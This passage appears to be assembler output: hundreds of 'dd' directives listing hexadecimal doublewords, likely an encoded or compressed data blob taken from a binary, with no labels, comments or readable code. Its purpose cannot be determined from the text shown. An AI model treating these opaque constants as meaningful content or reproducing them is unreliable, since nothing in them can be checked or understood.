0BADCBEB0h, 9D3AFC01h, 4B0A880h dd 0F72E1CA1h, 0B8880FBh, 1324A4DFh, 427C23EFh, 7D2C9E04h dd 70ACBEEEh, 8BBDF481h, 0C8C6F22Eh, 9E091420h, 348266C4h dd 440ED62Dh, 5D9D72C0h, 9A13D8D8h, 91584275h, 8C682619h dd 7382FD76h, 8C7B80D4h, 3F0E34DAh, 2D21218h, 0EA119871h dd 0BCD62FA5h, 0C3953805h, 200049B2h, 84E59A6Bh, 345B739Bh dd 0F9B05465h, 0B80992A0h, 0B3AC0BB8h, 8B02C074h, 0C1893C55h dd 0B089145Ch, 70267856h, 0FC00C410h, 26E136Ah, 0A2F8A306h dd 8A18F366h, 40908149h, 48229C25h, 3AAE1D07h, 0E1A34329h dd 0CE3A2871h, 0B5430B70h, 4A604EC5h, 96F8C1F8h, 29842247h dd 7A0264E7h, 0E6B50EBBh, 16C225FCh, 48944CE4h, 122CCAA0h dd 0E49A3061h, 5A30A218h, 2DCF827h, 0CB7C116Ah, 6CE0AEBCh dd 0A204CCD7h, 0B39912EFh, 5B488B00h, 30C1833Eh, 8FC0A082h dd 455E420h, 311CB68Eh, 832E03A1h, 0F44E0D5h, 66E32412h dd 0B7D8E3F8h, 92492900h, 6AD7DBEFh, 1F8F737Fh, 4AB30CFh dd 0D08A9E13h, 82AFDCB0h, 0C2027672h, 0A18F0514h, 0CEB8C1D9h dd 0D498AC04h, 145A24DBh, 0F6092B81h, 0A870EE87h, 0D056591Ch dd 894BAE01h, 793ED3B3h, 0C7B684BCh, 0FEF6001Fh, 0BF83073Ch dd 74C9A94Eh, 2ED6B020h, 4CE0E08Fh, 54BEEE18h, 98F4E16Bh dd 564E107Dh, 794037D0h, 0DF961051h, 0D84A60CAh, 7340512Ch dd 1CB917EAh, 4444F069h, 0BB0991E6h, 0D8BF2E2Fh, 9C1213F4h dd 0F7908051h, 6974BEEAh, 87D8C601h, 613579Eh, 694C5EE6h dd 32F44FBh, 6663F74h, 9212ED70h, 3500306Bh, 0D682EBF4h dd 62E45BC5h, 69BFA81Bh, 9AD844h, 0E2951D27h, 65B87678h dd 4008978Fh, 415B0186h, 8E402060h, 2C5AAB47h, 803CCDA8h dd 0BC44E7C7h, 80B8CCBDh, 0D4349097h, 0BB12193Eh, 3CE29045h dd 789C7BA8h, 0F074C62Dh, 2E8D2538h, 1C30208Bh, 434D7691h dd 0D527103Ch, 0F0842D18h, 0D106ECFDh, 0D377560Dh, 0D75A2738h dd 236980E0h, 0F75B0A2Ch, 2803982Ah, 0F3ECEF74h, 0BAD5E177h dd 569C5C7Ch, 31490746h, 0CADE0712h, 798361B8h, 0B83870ECh dd 8F9ACB00h, 4ED58EEh, 52E398DFh, 12045C97h, 0F94265E4h dd 21F180B8h, 1EB29323h, 4092FDF6h, 4304D0C7h, 7A008E2Bh dd 29C6D587h, 0F40920DAh, 8190007Fh, 196A15F1h, 10000C8Bh dd 0F057EE33h, 55D2B4h, 1BFF09A5h, 88478913h, 692CC67Bh dd 1123035h, 5BFF2842h, 0B14F670h, 0A85B9084h, 1CAC2C9Dh dd 2FB9002Ch, 0E3D88079h, 1F43F6D1h, 8904509Bh, 600760C9h dd 5240FFEFh, 0CAFA5B24h, 2EED58C0h, 0BC5996h, 2FC2C770h dd 778ED6A7h, 0F21E4890h, 6F40785Eh, 0A3198690h, 0D32009D9h dd 3C60FBF6h, 2D62FE12h, 0F69102B0h, 1D5F9000h, 0AB475B2Bh dd 0D17206Ah, 41988380h, 121C0C90h, 0BA3844C9h, 0E20989Ah dd 0CC740082h, 86736A3Dh, 0C509C6E6h, 0E21AAED6h, 0F91C4204h dd 9BA415Ch, 9C8C4531h, 64B8C06Ch, 1401C3F6h, 0CA1AACD9h dd 875F41Ch, 0A9F4482Bh, 4840942Dh, 12C2A838h, 68D98FB3h dd 59FF9101h, 7C20994Dh, 0A1B2075Bh, 0E9BBD1DCh, 9C48A98Ch dd 0FD200D51h, 3DC42074h, 16DA1240h, 0B06CD321h, 0F556BC8Ch dd 9D33006Ch, 0FE8E582Dh, 1CD89F7Eh, 0A4F0270h, 980078ECh dd 2B065E65h, 0E21F9A9Dh, 4D01B46Ah, 0A703DF96h, 6D851447h dd 85289BC1h, 0FD8E108Ah, 82E1F28h, 0D900828Ch, 698678F3h dd 0A1020098h, 471B42A0h, 0A300DB8Eh, 387AAB95h, 3B75513Ch dd 32008271h, 68A93490h, 50E6B227h, 0D012C539h, 610C6CFFh dd 687457DAh, 4B3C1029h, 891060BDh, 3A59E956h, 3A017412h dd 58F79F6Eh, 3C98BC48h, 41BE0076h, 39570332h, 30537AC0h dd 0B2409463h, 72003CA6h, 1ECE1F4Ah, 0C0C064DAh, 2BBFF858h dd 9F2A7E32h, 7618800Bh, 85804E2h, 0A08CF846h, 0A01B0680h dd 0C0F2FB9Ch, 0FC8E5928h, 4A028BE4h, 93B3532Ah, 929C8275h dd 0DAD9008Fh, 1809EF8h, 77FA78C8h, 0FFCCA9EDh, 7EC1D009h dd 0B219F709h, 0AD83D589h, 2FE090C5h, 0E8050108h, 109F4EB4h dd 915ACC0Ch, 661A00A4h, 8594BA82h, 98A03E5Dh, 4800F533h dd 0DA2BED43h, 685AF6h, 0D890B90Eh, 1A16FE8Dh, 52832504h dd 88493A5h, 0B29AB460h, 51767A55h, 0BCDC8016h, 9D132906h dd 95980458h, 424925Dh, 563A1C40h, 6F429F01h, 9AFE8F72h dd 0A63306C4h, 7A76181Ch, 0C43158ECh, 38F1B38h, 0EEDE2144h dd 5B74E0DDh, 5C63002Bh, 8F1E9531h, 0A41844A8h, 0DE40BE7Ah dd 3CA3143Ah, 0DA0A584Eh, 3A81274h, 0FE2855C7h, 86B8A499h dd 23EFF721h, 0B2DA1970h, 84CC28BFh, 763B8109h, 103F7AC3h dd 56E720h, 0F995FC5Ah, 0C328AD9Bh, 0E01CA328h, 3AE75002h dd 80583C99h, 0BF914040h, 0DEFCA898h, 110583DDh, 20F99754h dd 200CA032h, 6D5DBD3Fh, 51480B7Ch, 0A2DA0140h, 0FDB40FDDh dd 30839847h, 341000DEh, 557B50F5h, 0C7008E4Ch, 22BF5E9Ch dd 71D4D589h, 7D3C00ACh, 0F7724A9Eh, 5506AFBAh, 1B78DADEh dd 3E2600D0h, 6FFABD73h, 1A004C2Bh, 4E65D511h, 1DA4985Ah dd 97D089h, 0EEE9AA03h, 9502C6ADh, 7ABC21B3h, 4C3C4208h dd 0A4341F00h, 9401A0F7h, 96505D8Dh, 343303DEh, 12408C26h dd 9A000202h, 0B8009F94h, 0C9CF14Ch, 64CC76C0h, 0BC903C50h dd 83AE330h, 0F4284DD9h, 29B0A449h, 1D89832h, 259D3B01h dd 0CBC42004h, 77115407h, 0D2237D76h, 4E30008Dh, 97098AC7h dd 1300F564h, 3E9E6BBBh, 1BC27A7h, 0FCFD575Eh, 8A763C0Ah dd 30BE3278h, 7CA0A303h, 0F0C06082h, 0EBDA0504h, 7EC4E052h dd 33622600h, 3C2CD00Eh, 7A0A094Ch, 0D021905Eh, 80F84176h dd 79B832D8h, 0F5110B13h, 0E231B70h, 4F766D87h, 73E20240h dd 0FBE24964h, 32F0AE00h, 0BFC6B5BDh, 0E8FC7E51h, 343EE02h dd 0CC75A492h, 11F8CB42h, 9C027A78h, 649B4A54h, 0B0E0627Fh dd 19432E0h, 4C5221A6h, 0E5575F04h, 0FFC4403Ch, 4930BE6Fh dd 4E3BB825h, 14E678ECh, 80CA8A9Bh, 0E00D2215h, 0EF90C07Ch dd 3C063FD2h, 3B387472h, 68084CD9h, 320A0840h, 54131495h dd 0BA1F0C60h, 18E5E812h, 58D2FCA4h, 0A307ABE2h, 0B6EB2021h dd 685F741h, 603196E1h, 0BBA1993h, 3B861508h, 0F27BE06Eh dd 181CDA14h, 902A30D4h, 641F3079h, 89BC8017h, 0C802F0E8h dd 0B2EAB704h, 0D0C556A8h, 77005C27h, 302C552Bh, 0D9134A4h dd 0C0309BA9h, 2E58402Ah, 9420F9AAh, 3C49254h, 76829BF2h dd 4813111Eh, 0FC0A2E4Bh, 4072CFBh, 81C00AC1h, 77BD2B2Fh dd 81EC9027h, 0CC4873B4h, 0BCE0993Ah, 208C9077h, 3D5119AEh dd 8C87C1E0h, 400420A0h, 80D2549Ah, 0D9F63Ch, 4734B02Dh dd 3D21FD03h, 75CC7A06h, 98619284h, 507C54h, 32DFB74Ah dd 0CCC915B9h, 964BCF01h, 0E6FCFBA9h, 0E85C6861h, 93C22882h dd 764C09C0h, 0CC302D97h, 0CB00CC4Fh, 0B23AB790h, 0C43264h dd 0F92A7B6Dh, 0B5DA5F6Ch, 1F484C63h, 97B91506h, 4C53C8F6h dd 533DDA0Ch, 7524AD71h, 0C0AB94ABh, 1850510Ah, 68BB203h dd 7D5010C3h, 14024C86h dd 3B94F55Bh, 0F7BD8540h, 0D55C96h, 78B90880h, 8EC90088h dd 0DD4B81A3h, 4CF6EEEFh, 829C3100h, 959BC197h, 550CB96h dd 0D87B84A3h, 306D1026h, 0A5212h, 941ED870h, 0A0405D12h dd 38F92854h, 26C9329Bh, 0E480B930h, 914A42Bh, 0E0C1C98h dd 0A16FF5AFh, 0FF8E2DBFh, 548FA876h, 0A8628C8Fh, 749C983Ch dd 914BAA4h, 0FE03E096h, 50E8A090h, 0DD441A01h, 2305828Dh dd 4840B461h, 10522F48h, 17139976h, 5C011632h, 0C44D1E91h dd 0ACE54434h, 344F8ACh, 11910672h, 300B259Ah, 90BE8358h dd 35CE7Ch, 0EADE8970h, 240130E7h, 687F0324h, 0A3345A00h dd 60A89B4Bh, 0C0F550D5h, 4D00F380h, 9C25CA3Eh, 0A4FC91E0h dd 4EBF0ACCh, 1D80625Ch, 12840044h, 0D83C61DDh, 2BB99100h dd 0F69BD126h, 3C9A99h, 7DDA643Dh, 487F59F0h, 97FAB8C0h dd 0A882F82Bh, 0A602A0h, 0BBC1958Eh, 879BB836h, 60402565h dd 764D4490h, 8C2850E5h, 0BD8DE04h, 64A93303h, 2B5D7683h dd 5BE3500Bh, 5EBC27FBh, 0C1830928h, 0F3917C80h, 470BAFD5h dd 18294BA4h, 84308h, 8EDC4FC1h, 0DDA457F8h, 48C06C5Dh dd 85C4497Ch, 0C020C14Ch, 30DA02BBh, 67D99BC8h, 8820592Bh dd 459A2637h, 0D1F287BCh, 3EA0DE92h, 897B9BD9h, 7C1E18D7h dd 4B840863h, 27F8DA05h, 2F346CD0h, 0A3820CC6h, 9588AB90h dd 0FC03D216h, 4F2CC32h, 9CED0413h, 0A3F6E601h, 0A4233Dh dd 21F7E2DEh, 545FDADFh, 2C1C072h, 0CF4CD9B6h, 0E4E8E175h dd 3C02C3B2h, 0D65B1E4Dh, 5028C0F8h, 4A0380A5h, 0EC8610C4h dd 90FAB88Ch, 0C5500084h, 1DCC19CFh, 0DA156504h, 6F9096E6h dd 82C00620h, 60FE4A79h, 0BDA0573Ch, 0B28434B1h, 60B64E6Dh dd 983EDC50h, 587D0648h, 0E14129F7h, 0A58C0CA0h, 3090F0B0h dd 324A1903h, 0C40677F9h, 0F2B488h, 0ACA88291h, 0A48E12B2h dd 0E301C0F6h, 22AA028Fh, 95FCFA27h, 24217EA9h, 0F0454A7h dd 0B8874148h, 0C849D993h, 1F023E01h, 69CD429Bh, 9AF058F8h dd 102F6498h, 80309553h, 41FBFD4h, 0F133D0A0h, 0B8B39007h dd 0C04060B9h, 0C24B4CA4h, 3AFCF768h, 0BF4768A2h, 0BE599C64h dd 0A0614A30h, 88205670h, 594E407Ch, 0B89E272Ah, 4B0B8C98h dd 318DA1FBh, 9470A96Ch, 59DA804Eh, 25C40h, 0A3772DAEh dd 9BCA3635h, 0C48BAA24h, 0A4248149h, 0A8803816h, 631E0C50h dd 0B10B32DDh, 913647h, 4825800Ch, 0C0C17C72h, 4CE7F2DEh dd 4D2508A4h, 42C2982h, 0E0885374h, 0D2A410BEh, 32E40025h dd 948B01C0h, 1F3EB91h, 0A1367390h, 20E759Bh, 54A4846Bh dd 19DA4CC1h, 25C013DFh, 88F40B04h, 0C4FCD824h, 99898D8h dd 0CE24E0B2h, 8E0B942Ah, 87C40962h, 24A8B390h, 4278266Fh dd 106285Ah, 4E3E3F39h, 814E8D9h, 4710BC5Eh, 0F3F40074h dd 52907C6Bh, 2880C037h, 989F7656h, 3242D4A0h, 9464F348h dd 865310C0h, 0F18F0850h, 109703F5h, 6630722Eh, 7D230C60h dd 8FC971Eh, 4E3F42Ch, 4E50A2A6h, 0A4A4A094h, 604959EAh dd 425D613h, 1070B9A4h, 61EB1A2Ch, 3F45011h, 366844A6h dd 2080037Eh, 0D102B4F2h, 0A427A895h, 3B8848F4h, 0ACFA4CD6h dd 0D8A6DA09h, 2A1AB480h, 431F36DDh, 54266BA4h, 0B0208CACh dd 10EFC327h, 49DAE8E8h, 21354FCh, 750430C2h, 0E491575Eh dd 0CF9D1B00h, 3FB10A9h, 0DA0BA1C2h, 38262C06h, 5B00288Fh dd 3153B925h, 97711E8Dh, 5C6302D7h, 0F0726E08h, 61743B1Fh dd 4EF1CBh, 8E760220h, 4DB0A0A5h, 0FBA41A2Ah, 0CC88098h dd 870376FCh, 4A75C352h, 66B81D06h, 696EC137h, 96A7359Bh dd 0DC00F7B0h, 0DE4E7A88h, 0A6A4147Fh, 96319034h, 0DC5AFAC8h dd 7613A038h, 0EC451C6Bh, 9800D6AAh, 59676CD7h, 5872B74Fh dd 89C02CA3h, 2AF4C0A0h, 0D493C0E7h, 8D767B1Fh, 52E540B0h dd 28F848D3h, 0E294EF00h, 86E6BE0h, 0C00C7E49h, 42E93955h dd 377A00D3h, 0B5420F9h, 0C32E5AC1h, 0AE3C9832h, 9A617898h dd 0F074FFBCh, 3225844Eh, 13D491C3h, 59DC5200h, 0C231B604h dd 0B4858897h, 1C324C2Ch, 6CDA6E04h, 76C98000h, 6805E8FEh dd 4F4BBE26h, 345DF03Ch, 79BF0078h, 0A4546438h, 0A40154E6h dd 0F85E0065h, 75664323h, 6B09A68Eh, 0E39C2E60h, 632AC07Ch dd 9A9916CBh, 167C5EE1h, 0DC500A4Eh, 90F593D4h, 80C876D0h dd 71F4E8A8h, 9B4A3D04h, 56098961h, 4EA43C21h, 5E3080B4h dd 0C1F22DA6h, 3A991231h, 116128Fh, 0B8527A74h, 0BABFF0E3h dd 2CE080Ch, 1E9828B0h, 3BA30EA1h, 524A7881h, 778D93ABh dd 85613A24h, 20F1B98Ah, 201940A0h, 3500933h, 0DC00FAB4h dd 78BEE9DEh, 76828Ah, 1FF62C57h, 0B6796068h, 64D79D2Ch dd 0B9087000h, 3EDBE878h, 7CDD9EDAh, 9075CD04h, 82BC9459h dd 0C608C58h, 6E7176BFh, 0DF7018CEh, 0F01E3E13h, 0B28820AEh dd 424F0015h, 0EF491F48h, 62C9CF4h, 3240A433h, 5E125BDh dd 68A40E3Fh, 3ED80E65h, 20A89B03h, 4B78C90Bh, 89898C8h dd 1849B53h, 22AFC0Eh, 0F72C24C3h, 0B31ADC0Bh, 2ED04613h dd 897CCAA4h, 0E009A78Bh, 7196D8E0h, 70FAD4A9h, 0CD30A408h dd 27D9897Ah, 637901F4h, 0F77685E2h, 4CF098E5h, 1740280h dd 4ED78624h, 651D889Bh, 0C1BDFDE0h, 0DE2C6097h, 0AC261240h dd 6163F8DCh, 0A4281815h, 143C2819h, 48A408E9h, 0C80522Bh dd 5818E39Ah, 0BC945055h, 0DB960B51h, 9C44C103h, 2D0DF820h dd 0B80DFD49h, 0FF19F048h, 0F4005882h, 94209A84h, 45329094h dd 3D07D5ACh, 490A1454h, 0BF2E14h, 62E0Bh, 6C04338Ch, 0BEC30031h dd 3A80B00Eh, 0B9E8BC4Ch, 3430D9F0h, 0C901183Bh, 752603F8h dd 2CB0757h, 0CC9FA1C0h, 0A38D6201h, 5EB9243Bh, 0C1EC7470h dd 40690248h, 0C70560C9h, 0DD426101h, 9A2511E9h, 74FBF8F3h dd 71B30044h, 4B28C907h, 1B131245h, 22000936h, 6D92A0CCh dd 495F3003h, 3F48E870h, 0D3075C12h, 881EA400h, 988D6819h dd 896A0347h, 78A33027h, 8B1EC0CEh, 2E097DFCh, 40688032h dd 1E4637E0h, 499A4E34h, 0FC03B377h, 0DCC14849h, 0FB109373h dd 0C2512900h, 78953FDDh, 215924BEh, 0C0531E4Ch, 99F108A2h dd 6D7ACEBDh, 0B0AA911Eh, 0A020B80Ah, 0FEAC7481h, 0B1C4390Ah dd 0FA350354h, 76D4A329h, 0D175880Ah, 0F304B0A9h, 0F900BA7Dh dd 9731EEB7h, 0A4C97102h, 6270BB04h, 57080724h, 55D6CE0h dd 539C1D2Ah, 6D61008Eh, 5C8C3B9Eh, 8955630h, 0A08745A3h dd 1872BD80h, 9899869Ah, 7B00C0BEh, 88296C8Ah, 170616h dd 67BFA9ABh, 2D8661F3h, 510EFF7Eh, 8680334Fh, 0DE46D9E5h dd 723B49A0h, 8BE80C18h, 1C22C681h, 2102A20Ch, 4F0CDCE0h dd 18094E9Ah, 0F938C03Ch, 753B2A6Eh, 0C1079E07h, 528086F8h dd 392C802h, 8D439946h, 604082FAh, 8940F0A8h, 2C0F144Bh dd 0D310C45Dh, 9A570508h, 0D80068CBh, 7D2F493Bh, 481200DAh dd 0D9E0A9FAh, 0ACA93371h, 81831DFh, 0F33031B4h, 0DB9580Bh dd 4F2A28C5h, 3E10130h, 0FD759E7Dh, 618881A2h, 9C0A05BFh dd 0C430FEF5h, 5AA3188Fh, 0FB8DE862h, 0C1012CA0h, 2D600945h dd 0C26B285Dh, 2A761ED4h, 159E0007h, 0DBDCB2FEh, 54CA413Ch dd 0E4484A9Ch, 44FC0F70h, 0DBF6393h, 81A4C2B6h, 0A0927508h dd 4D39908Fh, 30D28D2Fh, 4C2A661Ch, 8842651h, 965231D0h dd 320970CCh, 703249Ch, 94CE011Ch, 19520414h, 201DEEBh dd 33CB9C22h dd 0C8480004h, 0D98F6B66h, 2C00FD06h, 20A30952h, 0BA18C840h dd 9A495605h, 0CC0A042Ah, 24078001h, 7C40DA63h, 0E91D754Ah dd 0F088B8A2h, 10386056h, 57B28F31h, 309E61Fh, 0A1C052DDh dd 5806DB8Ch, 2FA0Bh, 779424B1h, 20B7357Bh, 0E45B6324h dd 6281E73Ah, 0DA85D901h, 0B024B3E0h, 99BC0CE3h, 2120A798h dd 0EA722AF0h, 4FD9E41Fh, 0A800DCEAh, 2FD06728h, 0C554BB75h dd 5F44C90h, 5BD31DCh, 414E70h, 0A397B17Ch, 0E8927F5Fh dd 14AFA920h, 0F4579891h, 6D609A09h, 0BD5E30A0h, 0A0797E1h dd 1A32EBAh, 40E6385Dh, 49DD5614h, 93183C07h, 3AF6803Fh dd 8F117A01h, 0B3E3CC81h, 1775FC40h, 0F45A8002h, 5812A090h dd 4542D14h, 845848B0h, 390C4751h, 18908B58h, 97A6A312h dd 5C845041h, 8602126Bh, 0FEEB1F10h, 78F530A3h, 1A1744A0h dd 10FE0A2Ch, 4BCB1500h, 60DEA37Ch, 2FBD2055h, 7412C259h dd 82085F4h, 0B01CF7FDh, 7531A4Ch, 0C4438075h, 34F6DC88h dd 51A7720Ch, 14DD882h, 7739AAC6h, 0E158B142h, 556C3088h dd 24519A14h, 53F03BCh, 0A36AA8AAh, 608CE60h, 0CCA3BB38h dd 3E04884Ah, 13B89AA2h, 17005C95h, 0F1E6171Eh, 44DF298h dd 76FB79A3h, 89D481BCh, 959860C7h, 3B20B60Fh, 21568E6Ch dd 5AEBD912h, 0AA58A840h, 9BA8E8E3h, 0D0391B7Ch, 0A18100AFh dd 191D5AE4h, 0FA19C5DAh, 0DCE5D9B8h, 0A1E34021h, 1033FE8Ch dd 813EA421h, 0A9E0DB3h, 0C820F056h, 0E0FA5054h, 3B9F1439h dd 3F093848h, 0FCAABEBFh, 0D580414h, 6590D159h, 54302062h dd 2F047512h, 8B1C1C40h, 3B737Ch, 7252414Fh, 9A99CEACh dd 0C00D5701h, 0BFE9A32Bh, 4BDA6092h, 1C02932Ch, 3C814A3Bh dd 25365358h, 2284452Ch, 0DB023F88h, 816C81F7h, 0F830E2D8h dd 40A40A2h, 96981A4Ch, 832C64h, 7919F4E6h, 0A451A4EFh dd 0DB0890CAh, 218282Fh, 0BD5B3967h, 5C624E59h, 0CC661A62h dd 0B08D2830h, 1929F30h, 6ACEAA8Eh, 0C99A567Bh, 6C3398h dd 7786F72Dh, 3075942Bh, 0B970F31Ah, 4D045796h, 6FB083A2h dd 81796087h, 50630B9Eh, 0F82D60h, 857A5909h, 3E9AA035h dd 0E658FC60h, 0E4C1008h, 9DD90C7Bh, 0A331D858h, 0C029ED30h dd 525C9495h, 8D00FCF5h, 0B260E4F1h, 0D2148250h, 0A08D98Ch dd 0E87F039Ah, 7D1D6700h, 4D89EEh, 394278D8h, 0DE47B045h dd 5044D93Ah, 0B5005994h, 55A961EEh, 0C7FC2675h, 9A8256D0h dd 0BCC107ACh, 8822B3Bh, 8C03A538h, 0F27480F1h, 609A7154h dd 75529825h, 40D6090Ch, 97068405h, 1FF6BC90h, 3D90163Fh dd 0F3480056h, 75249E50h, 0A0A30720h, 0ED3AE0h, 0D84A41D0h dd 577203F2h, 0DB89E50h, 0AD35F9C0h, 6E0A8FAh, 7CA3A7ABh dd 0C7C18D7h, 3EFF0200h, 0E0867851h, 4855483Bh, 8EB89C31h dd 0D50D0089h, 542DF024h, 0C3A490h, 718334F8h, 68C5A902h dd 3D799112h, 6CA3E802h, 46C0807Bh, 0B04921h, 1E194DECh dd 0A34FF716h, 48C1D0E4h, 0B80E1543h, 903D7030h, 1D9003C8h dd 2CB1C34Ch, 3CD9100Ah, 6830ECAEh, 16A62522h, 2CB59558h dd 592EBA10h, 8D09C807h, 996810FCh, 0EC6050E5h, 9C3A3C03h dd 30341B1Ah, 0A8A678C0h, 65E32102h, 2F8159Ah, 0D0619753h dd 229C3456h, 28499324h, 4F06D4A8h, 6FF8D9E7h, 22320060h dd 6084851Bh, 46607075h, 9E456178h, 68BD59F6h, 4B78D90Ch dd 5B401D91h, 31577C9Bh, 1E187915h, 18086005h, 9C221624h dd 0A0F9B0B0h, 0C44F01DDh, 520D10B1h, 0ED85F4F2h, 0C8356B07h dd 505C5A9Ah, 427418E6h, 0FA49705Bh, 88E3CF2Ch, 0F832050Ch dd 4AE140B5h, 65FF4500h, 0AAD91A01h, 2980C026h, 0B9AE4B3Bh dd 0B14FB31Fh, 4DAFA306h, 0D47802F8h, 5174C687h, 0B09990C8h dd 581A0531h, 0B0557A9Fh, 0A601F404h, 2C75B888h, 4B9856A8h dd 2DD99401h, 52F19C5Eh, 0A49AC502h, 0F8F40092h, 77020CBBh dd 3B24D695h, 0E198414Ch, 404D8070h, 8303C542h, 636AD612h dd 46BFE173h, 0E0608702h, 7C9AFC49h, 0E70084F2h, 573B10A8h dd 3A111659h, 4A4D92Ch, 6478B1E0h, 0F954745Dh, 0D9E3D005h dd 0E88D2E4Eh, 189519DCh, 0F15D0C0Dh, 70A0FE01h, 8300DE4Dh dd 2BF37C3Ah, 20D97EE6h, 25612CA0h, 0CBF21859h, 4B008436h dd 92FEE45h, 92763108h, 3F3BD900h, 47E7E981h, 3817752Ch dd 7024ADh, 0E274E1BEh, 0E3B85051h, 3D4E200Eh, 36E92340h dd 8124007Ch, 58498DC5h, 0B9075148h, 285B1629h, 8B59CD40h dd 81240D3Ch, 0C02E04C4h, 0F3F32C87h, 0C884C0DFh, 581CE99Ch dd 5147FFD2h, 2D8309B1h, 0F55D036Eh, 0C7B4E27Bh, 9D7314D9h dd 0FBCCDA43h, 0A10534E5h, 74E0502Dh, 7B58F024h, 0A45CEA8Fh dd 0C83603Dh, 51C8AF0Fh, 0BE1C78C8h, 8702C38Fh, 8566240Fh dd 8B6C302Fh, 67893710h, 615111DEh, 41C181E1h, 40BE562Ch dd 5EF10106h, 7E0C8733h, 0A918BAE9h, 6689813Eh, 53FC148Bh dd 515B3A54h, 5AB1683Dh, 0F4348926h, 0EFF403BEh, 0CE74E9F4h dd 0C780A2C3h, 0B9F79911h, 823DF3DBh, 0A64FEF8h, 302B8C2Ch dd 0D8E90268h, 5B525C60h, 1FFBCD81h, 0A157A0Dh, 0A0AD8FD1h dd 5D8C0790h, 8F59791Dh, 583B07D4h, 78EDF619h, 816D40BBh dd 6B50D6C7h, 0DF0C01FFh, 1A2D0DE9h, 0E9345233h, 4FAD334h dd 5BD16EAEh, 9FEC9BFAh, 7D8ADFB3h, 3CC18334h, 81268FE3h dd 277E7C2h, 42D2F700h, 78BD0A55h, 8F7470Fh, 6804FE63h dd 8D1E10C9h, 1714FD52h, 0F04D8ECCh, 209C0110h, 0E08901F7h dd 831D1123h, 0E95083C0h, 12417E30h, 6885019Ch, 0E3D557A0h dd 0A0670B1h, 0DB21840Fh, 3BC600A1h, 0E9714708h, 16C1DE3Ah dd 0E2D1C209h, 828A77D9h, 6AF78368h, 0E261B703h, 81004A5Bh dd 2A0F61C3h, 7F834BBDh, 8923375Fh, 3E44A91h, 0ED049EB6h dd 806376E9h, 38DC051Ah, 28293116h, 0A072DF8h, 0FFE9555Fh dd 675A92ACh, 5C15C579h, 79A4C5D2h, 68B2807Ch, 2C9A0351h dd 0AAE80139h, 40AAD05Fh, 11433B8Dh, 25F821EAh, 51E6F7E4h dd 17E68100h, 0F71AB440h, 1F6F0D6h, 0E77FFFEBh, 0A18BF201h dd 0EA12FE4Ah, 5CD8AF19h, 0F8CE2A0h, 0C8287DB1h, 312C5900h dd 7663C9E9h, 97B3535Ch, 0E90E884h, 1D592DADh, 7F550839h dd 8510219Ch, 0FF50E905h, 25F9E206h, 0C280193Ah, 0FC0106C9h dd 0C9A81CAh, 472C8B28h, 237E6812h, 2A16B75Ah, 54249FC2h dd 404D06E8h, 642FD4Eh, 31D63333h, 30D0669h, 49CFEB00h dd 8C2006C4h, 0F265D7Ch, 0D0411E08h, 320571Dh, 59486129h dd 0D12D0CC6h, 0E1FA3158h, 490844EEh, 6D3A50C5h, 91870524h dd 7DAE38h, 30C0E2B6h, 20608E6h, 8C03B450h, 4EE9E4D0h dd 9C9E48FCh, 0FCA05D88h, 9FA8328Eh, 385433E9h, 0AC78B7D4h dd 7ED9CC20h, 1D905952h, 1C895C0Ah, 97864FAFh, 0EC51DB70h dd 7D110628h, 95035B45h, 5E00EC37h, 367FCF81h, 4F385A1Dh dd 59B8EFC1h, 36607D18h, 0D44C038Ch, 8E1C155h, 0B002E999h dd 81050D06h, 0A7850FF1h, 9EC62351h, 0E31B7949h, 0BC652A68h dd 1DF06D91h, 408075A8h, 31375A2Eh, 0CA5D9E54h, 0D536813h dd 21CA684Dh, 22BEA649h, 0B5D3F78Eh, 23468480h, 3866E741h dd 0F1FE317Bh, 0BE0B3491h, 0F1462900h, 0EE834E3Fh, 9A19FCFFh dd 71B50F52h, 3D26EB28h, 0C5004754h, 2DC6A4B9h, 0F25DEA09h dd 57B20EF2h, 0BF6079CFh, 3F8370FCh, 3BC0E910h, 59409245h dd 76AE0243h, 9101FE7Ch dd 0DFF10065h, 2175A324h, 209CE58h, 16347AE6h, 35C66007h dd 53880537h, 0C706E5C1h, 492640CEh, 0E91868CCh, 0AD48797Ah dd 7BAF7905h, 0CBEAAAh, 166FE4Ah, 6CC4E9D8h, 561C0E92h dd 0F29EEE89h, 9DCE5C9h, 9BC50A1Fh, 0BF225E26h, 0CE604CFCh dd 47CB11Ch, 68662659h, 42932479h, 81C3A0B2h, 0C8A082E5h dd 96C8560h, 0E40C2C80h, 2E51E84Dh, 3173685Bh, 22D29457h dd 803210CAh, 0EFC1660Bh, 7A025427h, 0B8A8BDE7h, 6C2D691h dd 3AD51241h, 64CDCDEBh, 5E58A948h, 457C9DEh, 404405Fh dd 286FC298h, 5A75D2C0h, 94B25202h, 60E7EA80h, 0EC86BA53h dd 0C6CA9066h, 8F386E56h, 82AB0F34h, 52ACA5C1h, 0AE9117A2h dd 1812D2A2h, 6AC77A4Ch, 9FDA1083h, 5135657Dh, 489D1B37h dd 1C0A62A0h, 0EABDE959h, 708F5092h, 700D480Eh, 2C8AB8C3h dd 44011290h, 58240CF0h, 2E28E129h, 11086C68h, 0A1645E17h dd 5574EF27h, 0AC6D71Eh, 0A4D8CE55h, 44F5017Ah, 0E85925BCh dd 299A5EF7h, 0DF195C5Ch, 73CC6845h, 0F90C7E5Eh, 9A541062h dd 0D9836121h, 64E62CE9h, 0B00BEEDFh, 71FD53Eh, 6A6A1A80h dd 51541240h, 60F1A136h, 0DB028754h, 44DA685Ah, 16802C47h dd 20076DEFh, 0A92E805h, 7BCCF520h, 0E265305Bh, 5E54560Ch dd 2A07CEA0h, 29E149CDh, 991A1760h, 0AFAEBE85h, 39E1A869h dd 4E06354Ah, 0C4C7834Fh, 3789EF07h, 216F09EDh, 0CBF07C2Eh dd 932A9320h, 158C2610h, 0CE3BAA5Dh, 0A5E51B94h, 0DD17251Ah dd 99F8F34Ch, 0A02991D7h, 7A844A90h, 31272C4Ah, 0FC330E0h dd 66C030B6h, 75E9872Ch, 0F78149C0h, 7BE47380h, 4FD05334h dd 0D4528944h, 899D3EE4h, 0E9805F5Ah, 6ACC5C0Ah, 52BA016Fh dd 0D1F70E44h, 410360C2h, 148A02BDh, 88D1015Bh, 0A2464F3h dd 2B4BE989h, 0B2CD0883h, 18640310h, 5590265h, 18BE88Bh dd 691AFAC3h, 6782100Fh, 545B09A0h, 75786885h, 81503246h dd 3805091Eh, 4E2227C5h, 2EC2535Ah, 0C1C6F1C2h, 32234320h dd 460ECCFEh, 903BA752h, 3ED4EA7Bh, 88B81633h, 0F52F394Eh dd 0C1734AEEh, 292C5D65h, 83E184h, 5BCABB53h, 50331F62h dd 12E5DB8h, 45C82565h, 